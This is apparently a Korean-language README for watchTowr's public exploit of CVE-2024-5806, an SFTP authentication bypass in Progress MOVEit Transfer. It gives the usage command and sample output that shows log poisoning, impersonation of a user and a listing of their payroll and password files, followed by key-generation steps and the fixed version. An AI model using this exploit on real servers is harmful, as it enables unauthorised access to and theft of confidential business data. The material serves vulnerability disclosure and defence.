
CVE-2024-5806에 대한 익스플로잇
Progress MOVEit Transfer CVE-2024-5806용 익스플로잇. 블로그 게시물은 [TBD]에서 확인하세요.
도움이 필요하면, 음, --help를 보세요. 일반적인 실행은 다음과 같습니다:
> python CVE-2024-5806.py --target-ip 192.168.1.1 --target-user user2 --ppk id.ppk --pem id
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
CVE-2024-5806.py
(*) Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806)
- Aliz Hammond, watchTowr ([email protected])
- Sina Kheirkhah (@SinSinology), watchTowr ([email protected])
Note: We (watchTowr) aren't the original discoverers of the bug, we just reproduced it and wrote the exploit
in order to enable proactive protection of client attack surfaces.
We will update with proper credit when available.
CVEs: [CVE-2024-5806]
(*) Poisoning log files multiple times to be sure...
..........OK
(*) Waiting 60 seconds for logs to be flushed to disk
(*) Attempting to authenticate..
(*) Trying to impersonate user2 using the server-side file path 'C:\MOVEitTransfer\Logs\DMZ_WEB.log'
(+) Authentication succeeded.
(+) Listing files in home directory of user user2:
-rw-rw-rw- 1 0 0 1.4M Jun 11 11:39 stocks.xlsx
-rw-rw-rw- 1 0 0 2.4M Jun 13 13:32 customer_list.xlsx
-rw-rw-rw- 1 0 0 2.3M Jun 15 12:16 payroll_Jun.csv
-rw-rw-rw- 1 0 0 1.2M Jan 21 10:03 my_signature.png
-rw-rw-rw- 1 0 0 304 Jun 17 17:29 passwords.txt
익스플로잇을 실행하려면 PEM 및 PPK 형식의 키페어가 필요합니다. Windows에서는 puttygen을 사용하여 이러한 파일을 생성할 수 있습니다. Linux에서는 openssh 및 putty-tools 패키지를 사용할 수 있습니다. 키를 묻는 메시지가 표시되면 Enter 키를 누르세요.
$ sudo apt-get install openssh-client putty-tools
$ puttygen -t rsa -b 2048 -o putty_key.ppk
Enter passphrase to save key:
Re-enter passphrase to verify:
$ puttygen putty_key.ppk -O private-openssh -o id_rsa
이 취약점은 Progress MOVEit 버전 2024.0.2에서 수정되었습니다.
이 익스플로잇은 watchTowr (@watchtowrcyber)의 Aliz (@AlizTheHax0r)와 Sina Kheirkhah (@SinSinology)이 작성했습니다.
최신 보안 연구를 보려면 watchTowr Labs 팀을 팔로우하세요.